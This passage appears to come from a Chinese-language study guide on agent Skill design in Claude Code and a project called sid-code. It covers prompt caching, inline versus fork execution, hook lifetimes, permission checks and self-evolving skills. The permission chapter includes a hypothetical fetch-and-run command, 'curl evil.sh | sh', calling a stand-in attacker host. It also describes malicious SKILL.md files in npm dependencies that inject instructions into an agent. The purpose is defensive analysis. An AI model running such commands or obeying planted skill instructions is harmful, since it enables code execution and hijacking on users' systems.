|---|---|
| 几乎不变(角色定义、核心规则) | system prompt 最前面 |
| 偶尔变(能力清单、项目规则) | 越靠后越好,或走对话流 |
| 每轮都变(当前状态、时间戳) | 对话流尾部,绝不放 system prompt |
7.6 一个被架构否掉的"自然优化"
这是我读源码时觉得最精巧的一处发现【CC】。
Claude Code 有一份 Skill 使用频率数据,算法是 7 天半衰期的 frecency (frequency + recency):
export function getSkillUsageScore(skillName: string): number {
const usage = config.skillUsage?.[skillName]
if (!usage) return 0
const daysSinceUse = (Date.now() - usage.lastUsedAt) / (1000 * 60 * 60 * 24)
const recencyFactor = Math.pow(0.5, daysSinceUse / 7) // 每 7 天减半
// 地板值 0.1:避免"用了 500 次但两个月没用"的 Skill 被压到接近 0
return usage.usageCount * Math.max(recencyFactor, 0.1)
}有了这份数据,一个极其自然的优化是:按 frecency 给模型的 listing 排序, 常用的排前面,提高触发准确率。
但它没有这么做。 我查了调用点,这个分数只用在 "用户手打 / 时的补全排序",不用在模型的 listing 上。
为什么不用? 两个理由,都指向同一个约束:
- 按 frecency 排序意味着每次用了一个 Skill,下次的列表顺序就变了 → 前缀缓存全部失效
- 注入是 append-only 增量的,架构上压根没有"重排列表"这个操作
所以"用使用频率优化 Skill 发现"这个听起来无比自然的优化,被缓存架构否掉了。
这个发现的价值在于:它是我在概念层不可能推出来的。 只有当你知道 listing 是 append-only 附件、而不是可重写的 system prompt 段落时, 才会明白为什么排序优化在这里不可用。
它还解释了一个前瞻问题(面试里被问"下一代方案是什么"时可用): 为什么下一代方案要走语义检索?因为检索是每轮生成新附件—— 本来就是新内容,不涉及改写历史,所以检索可以带排序,而静态列表不能。
7.7 顺带一条:采样精度该由消费端决定
同一个文件里还有一个 60 秒防抖,注释写得很好【CC】:
// The ranking algorithm uses a 7-day half-life, so sub-minute granularity
// is irrelevant. Bail out before saveGlobalConfig to avoid lock + file I/O.
if (lastWrite !== undefined && now - lastWrite < SKILL_USAGE_DEBOUNCE_MS) return"下游算法的精度决定上游采集的粒度"——半衰期是 7 天,秒级精度毫无意义, 所以 60 秒内的重复调用直接丢弃,省掉文件锁和 I/O。
这个推理方向(从消费端的精度需求反推采集端的采样率) 比"多记一点总没坏处"要正确得多。后者是埋点膨胀的主要来源。
7.8 那么 sid-code 放 system prompt 是错的吗
不能直接说错,但它确实付了一笔可以省掉的钱,而且要看清代价的形状:
| 代价 | 何时显现 | |
|---|---|---|
| 静态场景(Skill 不变) | 零代价——前缀稳定,缓存正常命中 | 从不 |
| 动态场景(会话中 Skill 变了) | 整个会话缓存失效 | 新建/编辑 Skill、条件 Skill 激活 |
注意第二行的最后一项:条件激活(§4.2)会在会话中途改变 listing 内容。 【sid】而 sid-code 同时实现了条件激活和 system prompt 注入—— 这两个特性放在一起,意味着一次条件激活会击穿整个会话的前缀缓存。
这正是第 4.5 节"单向激活"设计的价值所在:单向让这件事最多每个 Skill 发生一次, 而不是反复发生。所以现状是可工作的,只是每次激活付一次全量 cache_creation。
这是一个真实可改进点,改法也不难:把 listing 从 system prompt 移到对话流, 或者至少让它在 system prompt 里排到最后(现在是优先级 8,排在 CLAUDE.md 之前, 即偏前的位置)。后者是一行改动,能把击穿范围从"整个 system prompt"缩小到 "listing 之后的部分"。
面试里这段可以这么用:被问"你会怎么改进现有系统"时, 这是一个有明确因果链、代价可量化、改动很小的例子—— 比泛泛说"我会优化性能"强得多。
7.9 本章自检
- Prompt Cache 的规则一句话是什么?为什么"越靠前的内容改动代价越大"?
- listing 放 system prompt 的直觉理由是什么?它错在哪个维度上(不是逻辑,是什么)?
- 说出至少三个"追到底是 Prompt Cache 这一个约束"的设计决策。
- 为什么"按使用频率给 listing 排序"这个自然优化被否掉了?为什么语义检索就可以带排序?
- sid-code 的现状在什么场景下零代价、什么场景下付全量代价?最小改法是什么?
第 8 章 · inline vs fork:该不该把 Skill 隔离到子代理
这一章讲一个判据非常干净的决策。它的价值在于:判据不是"看内容长短", 而是一个语义问题——而很多人(包括我最初)会按长短来判。
8.1 两种执行方式
一个 Skill 被调用时,它的指令有两种去处:
inline(也叫 activate) fork(也叫 delegate)
────────────────────── ──────────────────────
指令注入到当前对话 开一个子代理去跑
↓ ↓
主上下文里多了 3000 Token 主上下文只多了「结果」
↓ ↓
持续影响后续每一轮 子代理结束,指令随之消失【sid】sid-code 用 mode: activate | delegate 表达, 同时兼容 Claude Code 的 context: inline | fork 写法,且后者优先级更高:
// packages/core/src/skill/types.ts:43-52
/** 执行模式:activate(上下文注入)或 delegate(子代理执行,默认) */
mode?: "activate" | "delegate";
/**
* 执行上下文(对齐 Claude Code context 字段):
* inline(注入当前对话)或 fork(子代理执行)。
* 优先级高于 mode;未指定时由 mode 推导。
*/
context?: "inline" | "fork";注意默认值是 delegate(fork)【sid】——这个默认选得对,理由见 8.4。
8.2 ★ 判据:产出型 vs 约束型
不要按内容长短判断。 正确的判据是问一句:
这段指令的价值,是「产出一个结果」还是「持续约束后续行为」?
| 产出型 → fork | 约束型 → inline | |
|---|---|---|
| 例子 | "读 20 个文件写一份报告"、"审查这个 PR" | "改变编码风格"、"遵循发版流程" |
| 你要的是 | 结论 | 规矩 |
| 中间产物 | 是垃圾,不该污染主上下文 | — |
| 隔离了会怎样 | 正好,主上下文很干净 | 等于没生效(子代理死了约束就没了) |
关键在最后一行。 一个"约束型"Skill 如果被 fork,它的指令活在子代理里, 子代理返回后就消失了——主对话完全没受影响,Skill 等于白调。
而这个失败不报错:Skill 执行成功了,返回了结果,只是那个"从此以后都这么做" 的效果一次都没发生。
8.3 为什么这个决策要下放到 Skill 作者
【sid】和【CC】都把这个开关放在 Skill 自己的 frontmatter 里,而不是运行时自动判断。
这是对的,理由是:只有 Skill 作者知道「这段指令要不要持续影响后续轮次」, 而这个判断无法从内容推断。
举个例子说明为什么推断不出来:两个 Skill 都是 3000 Token、都在讲代码规范。
- 一个是"审查这段代码是否符合规范"→ 产出型,该 fork
- 一个是"从现在开始按这套规范写代码"→ 约束型,必须 inline
内容几乎一样,长度一样,用词也像。区别只在意图。 运行时看不出意图,猜错的代价还不对称(前者猜错只是浪费上下文, 后者猜错是功能静默失效)。
所以这是一个"承认自己判断不了,于是暴露一个显式开关"的设计。 这个模式在第 9 章还会出现一次(once 标记),是一个值得记住的设计手法:
运行时判断不了的语义,不要猜——暴露一个开关,让知道答案的人来标。
8.4 为什么默认值该是 fork
【sid】默认 delegate。这个默认方向是对的,理由是两种猜错的代价不对称:
| 默认 fork,作者忘了标 inline | 默认 inline,作者忘了标 fork |
|---|---|
| 约束型 Skill 没生效 | 每个 Skill 都往主上下文塞几千 Token |
| 一次失效,用户会发现"怎么没按规矩来" | 上下文慢慢被填满,压缩频繁,成本上涨 |
| 症状明显,会被报上来 | 症状弥散,没人会归因到这里 |
选默认值的判据是「哪种猜错更容易被发现」,不是「哪种更常见」。 这条可以直接迁移到任何默认值设计上。
8.5 fork 的生命周期:一行 finally 钉死语义差异
【sid】meta-tool 里的 finally 块:
// packages/core/src/skill/meta-tool.ts:238-245
} finally {
// delegate skill 的 hooks 是本次调用作用域,返回后卸载(activate 注入主对话则长期存活…)
if (registeredHookCount > 0 && this.hookSystem) {
const removed = this.hookSystem.removeSkillHooks(skill.name);
...
}
}【CC】那边有一个对应的动作,清理的是 invokedSkills:
} finally {
// Release skill content from invokedSkills state
clearInvokedSkillsForAgent(agentId)
}两处的语义是同一个:fork 的 Skill 用完即走,它的痕迹不该留在主会话里。
- 【CC】清
invokedSkills→ fork 的指令不该在压缩后被复活到主上下文(承接 §6) - 【sid】清 hooks → fork 的拦截器不该泄漏到主会话(承接 §9)
而且两边都写在 finally 里,异常路径也保证清理。
这一行代码把 inline 和 fork 的生命周期差异钉死了:
| inline | fork | |
|---|---|---|
| 指令活多久 | 到会话结束(且跨越压缩) | 子代理结束即死 |
| 压缩后重注入 | 是 | 否 |
| hooks 活多久 | 到会话结束(§9) | 子代理返回即卸载 |
注意 §6.3 的那条对应设计:sid-code 的 invokedSkillSink 只在 executeActivate 里上报,delegate 分支根本不上报——所以不需要事后清理 invokedSkills, 它从来没被记进去。这是"不产生"优于"产生后清理"的一个例子, 比 CC 那边的 finally 清理更干净(少一个"忘了清"的失败可能)。
8.6 一个精妙的 bug:模型标识符携带了副作用维度
【CC】源码里有一段注释描述了一个非常值得记的 bug:
// Carry [1m] suffix over — otherwise a skill with `model: opus` on an
// opus[1m] session drops the effective window to 200K and trips autocompact.现场还原:Skill 的 frontmatter 写了 model: opus(我这一步要用更强的模型)。 用户的会话跑的是 opus[1m]——同一个模型的 100 万上下文变体。
naive 实现把 mainLoopModel 直接覆盖成字符串 opus,于是:
上下文窗口 1M → 200K
↓
而此时会话可能已经用了 30 万 Token
↓
立刻触发自动压缩用户视角:我调用了一个 Skill,会话突然被压缩了,毫无道理。
这个 bug 的本质(这句是可迁移的部分):
模型标识符不是一个原子值,它携带了副作用维度。
opus和opus[1m]在"用哪个模型"这一维上相同,在"多大窗口"这一维上差 5 倍。 Skill 作者写model: opus的意图是前者,naive 实现却把后者也一起改了。
推广成一条通用陷阱:
任何「部分覆盖」的配置合并,都要问清楚: 被覆盖的字段是否携带了调用方没打算改的语义。
这类 bug 的共同形状是"一个字段名描述一个维度,但它的值编码了两个维度"。 model: "opus[1m]" 是,timeout: "30s-with-retry" 是, env: "prod-readonly" 也是。
8.7 fork 还买到了什么:上下文隔离的三个额外收益
除了"中间产物不污染主上下文",fork 还有三个容易被忽略的好处:
| 收益 | 说明 |
|---|---|
| 独立的失败边界 | 子代理跑崩了,主会话还在。inline 的 Skill 把主上下文搞乱了就没救了 |
| 可以用不同的模型/努力度 | 一个简单的格式检查用小模型跑,省钱(model / effort 透传) |
| 可以并行 | 多个 fork 可以同时跑(比如三个审查子代理并行查不同维度) |
第三条在【CC】的 simplify 内置 Skill 里有实例: 三个并行子代理分别查"复用 / 质量 / 效率",然后主代理汇总修复。
这也解释了为什么"审查类"Skill 几乎总是 fork: 审查天然可以按维度切开并行,而且只需要结论。
8.8 本章自检
- inline vs fork 的判据是什么?为什么不能按内容长短判断?
- 一个"约束型"Skill 被 fork 了会发生什么?为什么这个失败不报错?
- 为什么这个决策要下放到 frontmatter,而不是运行时自动判断?
- 默认值该是哪个?判据是什么(不是"哪种更常见")?
model: opus覆盖opus[1m]这个 bug 的本质是什么?怎么推广成通用陷阱?- sid-code 的 delegate 分支不上报 invokedSkills,比"上报后清理"好在哪?
第 9 章 · Hooks:一个公开文档全都写错的地方
这一章有一个特殊价值:我在这里的结论,在公开材料里找不到对照。 我查过一圈业界文章(几篇 hooks 指南),全都只写到 "Skill frontmatter 里的 hooks:scoped to the component's lifecycle"这一句就停了, 没有一篇追究过"component lifecycle 到底在哪结束"。
所以这是一个源码独有发现,面试里可以直接当差异化信息用。
9.1 先说 hooks 是什么,以及它为什么存在
Skill 的 body 是指令——模型读了,大概会照做。 Hooks 是代码——它在指定时机一定会执行。
---
name: safe-deploy
hooks:
PreToolUse:
- matcher: "bash"
hooks:
- command: "${SKILL_DIR}/scripts/block-prod-write.sh"
---这段声明的意思是:在这次会话里,每次模型要跑 bash,先跑我这个脚本, 它说不行就不许跑。
为什么需要它? 因为 Skill body 里写"不要直推 main"是一句祈使句—— 模型可能遵守,可能不遵守,还可能"合理地"推理出这次是例外。
这引出了整个 Skill 安全模型的第一原则:
Hooks 保证执行,Prompt 不保证。
判断树很简单:
| 后果 | 用什么 |
|---|---|
| 不可逆损害(删数据、推生产、发消息、花钱) | Hooks(确定性) |
| 可接受的偏差(风格、措辞、步骤顺序) | Skill 指令(概率性) |
9.2 ★ 我错了:hooks 不是 Skill 作用域的,是会话作用域的
我在写那三份文档之前,写过一整道"Scoped Hooks:临时约束的设计与生命周期管理"的题, 答案里描述了一套精巧的"进出栈"机制。
源码里没有这套东西。
【CC】注册用的键是 sessionId,不是 skillId,也不是 invocationId。 函数的文档注释写得很直白:
Hooks are registered as session-scoped hooks that persist for the duration of the session. If a hook has
once: true, it will be automatically removed after its first successful execution.
【sid】完全一致——registerSessionHook,日志都是这么打的:
// packages/core/src/skill/hooks.ts:108
log.info("SKILL", `Skill ${skillName} 注册了 ${count} 个会话级 hook`);所以真实生命周期是:
Skill 被调用 → 注册 hooks → ……一直活着…… → 会话结束才清
↑
唯一的提前退出:once: true(执行一次后自摘)"scoped" 这个词是我自己想象出来的。
9.3 为什么这么设计:三种解释,逐个验证
我当时不接受这个结论,逐个验证了三种可能的解释:
解释一:「实现偷懒」——不成立。removeSkillHooks 已经实现了(【sid】hook/system.ts:120), 而且 once: true 已经在用它。要做 Skill 作用域清理,技术上就是在 Skill 结束时调一次。 他们有能力做但没做,所以这是选择,不是疏漏。
解释二:「inline Skill 没有明确的结束点」——成立,而且是关键。
这条要想清楚。inline Skill 的内容是注入到主对话里的一段消息。 它没有"返回"这个动作——模型读完就继续干活了。
那么,什么时候算"Skill 执行完了"?
- 模型答完这一轮?可它下一轮还在做同一件事。
- 模型说"完成了"?那是自然语言,不是信号。
- 再也不提这个 Skill 了?那要等多久才算?
没有信号。inline 模式下,「Skill 作用域」这个概念在运行时根本不存在。 无从清理。
(fork 模式有明确边界——子代理退出——所以 fork 走的是按 agentId 清理的路径, 见 §8.5。这正好印证了解释二:有边界的那条路径就做了作用域清理。)
解释三:「故意的,因为 Skill 的副作用应该延续」——也成立。
举个例子:一个 /deploy Skill 注册了 PreToolUse 拦截生产环境写操作。 用户调完 /deploy,模型继续做后续收尾工作——这时候拦截应该还在生效。
如果 Skill 一"结束"就摘掉,保护会在最危险的时刻消失。
综合判断:解释二是技术必然,解释三是这个必然带来的正面效果。
9.4 once 标记:把判断权交给知道答案的人
两条解释合起来解释了为什么 once: true 是唯一的提前退出机制:
它把"什么时候该摘掉"的判断权交给了 Skill 作者, 而作者比运行时更清楚这个 hook 是「一次性动作」还是「持续约束」。 运行时猜不出来,就不猜。
这和 §8.3(inline/fork 开关下放给作者)是同一个设计手法, 在这份文档里第二次出现了,值得正式记下来:
运行时判断不了的语义,不要猜——暴露一个显式开关,让知道答案的人来标。
这个设计的可靠性推理比我想象的那套精巧机制更清晰: 没有隐式清理,就没有"我以为摘了其实没摘"或者反过来"我以为还在其实没了"的问题。 行为完全可预测。
面试里这段的用法:被问"Skill 的 hooks 生命周期怎么管"时, 标准答案是"scoped to skill"(错的)。正确答案加上完整推理链 (会话级 + inline 没有结束点 + once 下放判断权 + 约束延续是正面效果), 是这个主题里最容易拉开差距的一处。
9.5 权限检查要放在信息最全的那一层
【CC】还有一处安全设计值得单独讲,它对上了"三层安全架构"那类问题。
企业策略可以锁定 hooks(不许用户 Skill 注册 hooks)。这个检查放在注册时:
const hooksAllowedForThisSkill =
!isRestrictedToPluginOnly('hooks') || isSourceAdminTrusted(command.source);
if (command.hooks && hooksAllowedForThisSkill) {
registerSkillHooks(...)
}源码注释解释得很清楚:
Under ["hooks"]-only (skills not locked), user skills still load and reach this point — block hook REGISTRATION here where source is known.
为什么不在执行时拦? 因为到了执行时,hook 已经脱离了它的来源上下文—— 分不清是谁注册的,一刀切会误杀 plugin agent 的 hooks。
可迁移的原则(这条我认为价值很高):
权限检查要放在信息最全的那一层。
command.source(这个 Skill 来自哪里)只在注册这一刻是已知的,往后传就丢了。 如果为了"架构整洁"把检查统一挪到执行层,就必须额外维护 "这个 hook 来自哪里"的元数据——要么多存一份数据,要么误杀。
这是"最小权限"原则的另一个侧面:不只是"给最小的权限", 还有"在能做出最精确判断的位置做检查"。
注意这条注释里还有一个细节:用户 Skill 依然正常加载和执行, 只是它声明的 hooks 不进注册表。策略锁定的是能力,不是可用性—— 不影响生产力,只削掉越权的那部分。这个"部分降级"的思路和 §5.4 一致。
9.6 【sid】一个更细的作用域:delegate 的 hooks 会卸载
【sid】sid-code 在会话级之外做了一层区分(§8.5 提过,这里补完整):
// packages/core/src/skill/meta-tool.ts:226-245
// 模型路径 skill 走 delegate 子代理执行。子代理有独立 hookSystem 时,hooks 应注册到子代理侧;
// 但当前 SubAgent.fromRegistry 复用主 hookSystem,故注册到主 hookSystem 并在 delegate 返回后卸载,
// 避免 delegate skill 的 hooks 泄漏到主会话
const registeredHookCount = registerSkillLifecycleHooks(skill, this.hookSystem);
try {
...
} finally {
if (registeredHookCount > 0 && this.hookSystem) {
this.hookSystem.removeSkillHooks(skill.name);
}
}这段注释很诚实,值得学它的写法:它说明了 "理想设计是什么"(注册到子代理侧)、"为什么现在不是"(子代理复用主 hookSystem)、 "于是采取什么补偿"(返回后卸载)、"补偿是为了防什么"(泄漏到主会话)。
四段齐全的注释,是"知道自己在妥协"的标志。 对比一种常见的坏注释——"这里注册 hooks"——它只描述了代码在做什么, 没有任何关于"为什么这样"的信息。
所以【sid】的完整作用域模型是:
| 路径 | hooks 活多久 |
|---|---|
| inline / activate(斜杠路径) | 会话结束 |
| delegate / fork(模型路径) | 本次调用返回即卸载 |
任意路径 + once: true | 执行一次后自摘 |
这比【CC】那边多了一层精度(CC 是统一会话级 + agentId 维度清理)。 代价是复杂度:两条路径的 hooks 生命周期不同, 这本身是 §3.3 那个"两条路径必然漂移"风险的一个实例—— 好在 sid-code 把它抽到了 executor.ts 统一处理。
9.7 一个必须知道的验收判据
这条不来自 Skill 源码,来自本仓 CLAUDE.md 里的一条纪律,但它对 hooks 特别适用:
新增防线时的验收判据,不是「build 过 + 单测过」, 而是「真实会话里被触发过」——防线自己成了它当初要消灭的死功能, 这事已经发生过一次。
Hooks 是"防线"的典型形态,而它有一个特别容易死的失效模式:
你写了一个 PreToolUse hook 拦生产写操作
↓
matcher 写成了 "Bash"(大写),而实际工具名是 "bash"
↓
hook 永远不匹配,永远不执行
↓
所有测试都过(测试里没有真实 bash 调用)
↓
你以为有防线,实际上零防护这类失效的共同点:它的症状就是"什么都没发生",而这和"一切正常"完全一样。
所以 hooks 的验收必须是正向验证:故意触发一次违规操作, 确认它真的被拦下来了。"没出事"不构成证据。
9.8 本章自检
- Hooks 和 Skill 指令的分工判据是什么?
- hooks 的真实作用域是什么?为什么不能做 Skill 作用域清理(关键理由是哪个)?
once: true体现了什么设计手法?这个手法在第 8 章哪里也出现过?- 为什么权限检查要放在注册时而不是执行时?
- 「防线自己变成死功能」是怎么发生的?该怎么验收?
第 10 章 · 权限与安全:一个 Markdown 文件凭什么不能提权
这一章的核心问题一句话就能问出来,而且它是面试里最能筛人的一道 Skill 安全题:
allowed-tools: [Bash]写在一个磁盘上的 Markdown 文件里。 这不就等于任何人往你的项目里放一个文件,就能给 agent 开 Bash 权限吗?
10.1 答案:声明能力 ≠ 获得能力,声明能力 = 触发审批
【sid】packages/core/src/skill/permission.ts 的判定顺序:
/**
* 优先级:
* 1. deny 规则命中 → deny
* 2. allow 规则命中 → allow
* 3. MCP 来源 + 含敏感属性 → ask(远程来源更保守)
* 4. 仅安全属性 → allow
* 5. 默认 → ask
*/关键是第 3、4 步。判定"这个 Skill 需不需要用户确认",靠的是 它有没有声明敏感属性:
// packages/core/src/skill/permission.ts:43-51
const SENSITIVE_PROPERTIES: Array<keyof SkillDefinition> = [
"hooks", // 能注册强制拦截器
"allowedTools", // 能扩大工具权限
"shell", // 能指定用哪个 shell
"agent", // 能指定用哪个子代理
"maxTurns", // 能放宽轮次上限
"timeoutMins", // 能放宽超时
"effort", // 能提高推理档位(=更贵)
];所以那个问题的答案是:写 allowedTools: [Bash] 不会静默获得 Bash 权限, 它会让这个 Skill 必然弹出确认框。只有纯 name / description / prompt 的 Skill 才静默放行。
一句话总结(面试可以直接用):
Skill 不能靠 frontmatter 静默提权。 声明能力不等于获得能力,声明能力等于触发审批。
10.2 MCP 来源的额外一层:不可信来源更保守
注意判定顺序里的第 3 步——它在第 4 步(仅安全属性→allow)之前:
// permission.ts:96-99
// MCP 来源带敏感属性时一律 ask(不享受白名单自动放行)
if (skill.loadedFrom === "mcp" && !safe) {
return "ask";
}为什么 MCP 要单独一条? 因为来源的信任半径不同:
| 来源 | 谁写的 | 信任半径 |
|---|---|---|
project | 你的同事,改动进 git,走 PR review | 仓库内 = 信任同事 |
user | 你自己 | 信任自己 |
mcp | 远端服务器,随时可以改内容,没有 diff | 信任陌生人 |
MCP Skill 的特殊风险在于它没有版本控制:你昨天审过的那个 Skill, 今天服务器可以换成别的内容,而你不会收到任何 diff。
这也是本章后面所有安全设计的共同基础:"有没有 diff"决定了信任等级。 (第 11 章的自演化安全模型完全建立在这一条上。)
10.3 ★ fail-safe 的方向:新增属性默认危险
【CC】那边的实现方向和【sid】不同,而这个不同点是本章最值得学的一处。
CC 用的是白名单:
// Allowlist of PromptCommand property keys that are safe and don't require permission.
// If a skill has any property NOT in this set with a meaningful value, it requires
// permission. This ensures new properties added to PromptCommand in the future
// default to requiring permission until explicitly reviewed and added here.
const SAFE_SKILL_PROPERTIES = new Set([ 'type', 'name', 'description', 'model', ... ])function skillHasOnlySafeProperties(command: Command): boolean {
for (const key of Object.keys(command)) { // ← 遍历 Skill 实际有的属性
if (SAFE_SKILL_PROPERTIES.has(key)) continue;
...
return false; // 有一个不在白名单里的、有实际值的属性 → 需要确认
}
return true;
}注意它遍历的是 Object.keys(command)——Skill 实际携带的属性。 这意味着:
半年后有人给
SkillDefinition加了一个新字段而忘了更新白名单, 结果是「多弹一次框」(立刻可见、有人抱怨、马上会修), 而不是「静默绕过检查」(可能永远发现不了)。
这就是 fail-safe 方向选对了的含义:让错误往"过度谨慎"的方向倒, 而不是往"过度放行"的方向倒。
判断一个安全检查方向对不对,有一个通用问法:
当有人忘了更新这份清单时,系统会变得更严还是更松? 更严 = 方向对(白名单)。更松 = 方向错(黑名单)。
10.4 ★★ 【sid 现状核验】一处真实的方向反转
这一节是我现场核验出来的,是本文最硬的一个发现。
【sid】permission.ts 的文件头注释这样写:
/**
* 设计要点("安全默认"):未来新增的 Skill 属性默认需要权限审批,
* 除非被显式添加到 SAFE_SKILL_PROPERTIES 白名单中。
*/ // ← permission.ts:7-8注释声明的是白名单语义(和 CC 一致,方向正确)。
但实际的检查函数遍历的是黑名单:
// permission.ts:57-65
export function skillHasOnlySafeProperties(skill: SkillDefinition): boolean {
for (const key of SENSITIVE_PROPERTIES) { // ← 遍历敏感表,不是 Skill 的属性
const value = skill[key];
if (value === undefined || value === null) continue;
if (Array.isArray(value) && value.length === 0) continue;
return false;
}
return true; // ← 只要 7 个已知敏感字段都没有,就判"安全"
}而 SAFE_SKILL_PROPERTIES 这个白名单常量本身——没有任何生产代码消费它。 我核验过(附录 A 有可复跑命令):
rg -a -c 'SAFE_SKILL_PROPERTIES' -g '!packages/core/src/skill/permission.ts' packages/
# → 零命中(连测试都没引用)这是一个「注释说的是白名单,代码做的是黑名单」的不一致, 而两者的 fail-safe 方向相反:
| 白名单(注释声明的) | 黑名单(代码实际的) | |
|---|---|---|
| 遍历什么 | Skill 实际有的属性 | 7 个写死的敏感字段 |
| 新增一个危险字段而忘了更新 | 需要审批(更严) | 静默放行(更松) |
具体后果:假设明天给 SkillDefinition 加一个 preExecCommand(执行前跑一条命令)字段,实现了功能, 但忘了加进 SENSITIVE_PROPERTIES。结果是:
一个带
preExecCommand: "curl evil.sh | sh"的 Skill,skillHasOnlySafeProperties()会返回true→ 判定allow→ 静默执行,不弹框。
我现在核验了当前状态是安全的——26 个字段全部被两张表覆盖,没有漏网的:
# 既不在白名单、也不在敏感表的字段
comm -23 <字段列表> <(cat 白名单 敏感表 | sort -u)
# → 空(当前无漏网字段)所以这不是"现在有漏洞",而是"防线的方向是反的"—— 它依赖每个加字段的人都记得同步敏感表,而白名单方案不依赖任何人的记性。
这正好呼应 §6.5 那个区分(面试里说这类问题必须带上这个区分):
「现在就是 bug」和「结构上迟早出 bug」是两件事。 这处属于后者:当前无漏网字段,但它靠的是运气和纪律,不是结构。
最小改法(一行逻辑):把遍历对象从 SENSITIVE_PROPERTIES 换成 Object.keys(skill),比对 SAFE_SKILL_PROPERTIES—— 把那个已经写好但没人用的白名单接上去,方向就正过来了。
10.5 供应链:node_modules 里的 Skill
这是一条我读源码之前完全没想到的攻击路径【CC】:
node_modules/some-package/.claude/skills/helper/SKILL.md一个 npm 依赖可以往你的 agent 里塞 Skill。
为什么它比传统的 npm 恶意包更隐蔽?
| 传统恶意 npm 包 | 恶意 SKILL.md | |
|---|---|---|
| 手法 | 执行代码(postinstall 脚本等) | 往 agent 上下文注入一段自然语言指令 |
| 特征 | 有"代码执行"特征 | 没有任何可执行特征 |
| 能被谁发现 | npm audit、postinstall 检查、静态扫描 | 静态扫描看不出问题——它只是一段散文 |
CC 的防御是一个启发式:加载前检查目录是否被 gitignore:
// Skills dir exists. Before loading, check if the containing dir
// is gitignored — blocks e.g. node_modules/pkg/.claude/skills from
// loading silently. `git check-ignore` handles nested .gitignore,
// .git/info/exclude, and global gitignore. Fails open outside a
// git repo (exit 128 → false); the invocation-time trust dialog
// is the actual security boundary.
if (await isPathGitignored(currentDir, resolvedCwd)) { continue }这个启发式聪明在哪:node_modules、vendor、构建产物这些目录 几乎总是被 gitignore 的——所以"被 gitignore"这个信号 高度相关于"不是我团队写的代码"。
但要注意注释最后一句的诚实:the invocation-time trust dialog is the actual security boundary——gitignore 检查只是一道过滤,真正的安全边界是调用时的确认框。
这个自我限定很重要。启发式防线的正确定位是降噪(减少需要人审的量), 不是边界(决定安全与否)。把启发式当边界用是一类常见错误:
启发式可以减少你要看的东西的数量, 但不能替你决定"剩下这些可以不看"。
10.6 「简化模式不能成为策略旁路」
【CC】还有一处小设计,是安全工程里的一个经典陷阱,被明确堵住了:
// --bare: skip auto-discovery (managed/user/project dir walks + legacy
// commands-dir). Load ONLY explicit --add-dir paths.
// skillsLocked still applies — --bare is not a policy bypass.--bare 是"什么都别自动加载"的干净模式。最后一句是重点: 它不能被用来绕过企业策略。
这个陷阱的形状值得记住:
新加一个"简化模式"/"调试模式"/"最小模式", 无意中做出了一条绕过策略检查的旁路。
因为这类模式的实现方式往往是"跳过一堆初始化步骤", 而策略检查恰好也在那堆步骤里。"跳过加载逻辑"和"跳过策略检查" 在代码上长得一模一样,但在语义上差了一个安全事故。
10.7 一个可迁移的安全结论:先收缩入口,再审内容
把本章的几条串起来,会得到一个和直觉相反的优先级。
我在写那三份文档时设计过一套"三层审核流水线": 静态分析 → 沙箱执行 → 行为监控。它看起来很完整。
但它漏了第 0 层,而且漏掉的那层 ROI 最高:
| 层 | 做什么 | 成本 | 效果 |
|---|---|---|---|
| 0. 来源准入 | 下载前拦截 / 渠道锁定 | 最低 | 内容永不落盘 |
| 1. 静态分析 | 扫内容找危险模式 | 中 | 有漏报 |
| 2. 沙箱 | 隔离执行 | 高 | 需要基础设施 |
| 3. 行为监控 | 运行时观察 | 高 | 事后 |
我的三层全都建立在"内容已经落盘"这个前提上。 而最便宜的审核是让内容根本不存在。
【CC】的企业策略就是这么做的:两级串联—— 先渠道锁定(只许从插件渠道装,把入口从六个收到一个), 再来源白名单(只许这几个仓库)。
收缩攻击面的成本,远低于全面审核内容的成本。
10.8 本章自检
allowed-tools: [Bash]为什么不等于静默获得 Bash 权限?- 为什么 MCP 来源要单独多一条判定?它缺的是什么(一个词)?
- 判断一个安全检查方向对不对,那个通用问法是什么?
- sid-code 的
skillHasOnlySafeProperties方向反了,具体后果是什么?为什么现在还安全? - 恶意 SKILL.md 为什么比恶意 npm 包更难被静态扫描发现?
- 启发式防线的正确定位是什么?把它当边界用错在哪?
- 三层审核流水线漏了哪一层?为什么那层 ROI 最高?
第 11 章 · 自演化:让「录制」自动发生
这一章把隐喻的环闭上:前面十章讲的都是回放, 现在回到录制——但这次是让 agent 自己去录。
先说一个事实,因为它本身就是面试素材:我写那三份研究文档时, 把"Skill 自己改自己"列在"深水区 / 前沿趋势"里,引用的全是论文 (CoEvoSkills、SkillForge)和"预计 2026 下半年会出现"这种预测。
结果它已经在生产代码里跑了,而且实现方式和我预测的完全不同—— 比我想的简单得多,但每一处限制都比我想的聪明。
11.1 它解决什么问题
回到第 0 章那个场景。你周一纠正了 agent 三次, 然后你需要记得把这三条写进 SKILL.md——而人不会记得。
自演化就是让这一步自动化:
用户在对话里反复纠正同一件事
↓
系统检测到「这是一条应该写进流程的偏好」
↓
生成一条结构化的修改建议
↓
弹给用户确认
↓
用户点「接受」→ 改写 SKILL.md这就是「反馈飞轮」(Feedback Flywheel)的真实形态。 不是一张架构图,就是这么四步。
11.2 实现有多小
【CC】skillImprovement.ts 一共 267 行。
我以为自演化需要一整套评测集、失败分类器、回归测试。 实际的核心是:一个旁路小模型分类器 + 一个确认弹窗。
为什么这么小就够了?§11.7 会给出答案, 而那个答案是本章最有价值的一个认知修正。
11.3 四道闸门
闸门一:什么时候才检测(三重门槛)
async shouldRun(context) {
if (context.querySource !== 'repl_main_thread') return false // ① 只在交互式主线程
if (!findProjectSkill()) return false // ② 只改项目级 Skill
const userCount = count(context.messages, m => m.type === 'user')
if (userCount - lastAnalyzedCount < TURN_BATCH_SIZE) return false // ③ 每 5 轮才跑
return true
}第 ① 条和第 ③ 条容易理解(省钱 + 非交互模式没法弹框)。
第 ② 条是整个自演化设计里最聪明的一笔,也是这一章的核心。
★ 闸门二:只能改「项目级」Skill——为什么这个边界选得准
function findProjectSkill() {
const skills = getInvokedSkillsForAgent(null)
for (const [, info] of skills) {
if (info.skillPath.startsWith('projectSettings:')) return info // ← 只认这一种
}
return undefined
}内置 Skill、用户级 Skill、插件 Skill、企业下发的 Skill——全都不可被自动改写。 只有项目里的 .claude/skills/<name>/SKILL.md 可以。
为什么? 我第一反应是"项目级更不重要"。错了。真正的理由是:
项目级 Skill 天然处于 git 管控之下。
| 项目级 | 用户级 (~/.claude/skills) | |
|---|---|---|
| 在版本控制里吗 | 是 | 通常不是 |
| 改动可见吗 | git diff 一眼看到 | 无痕 |
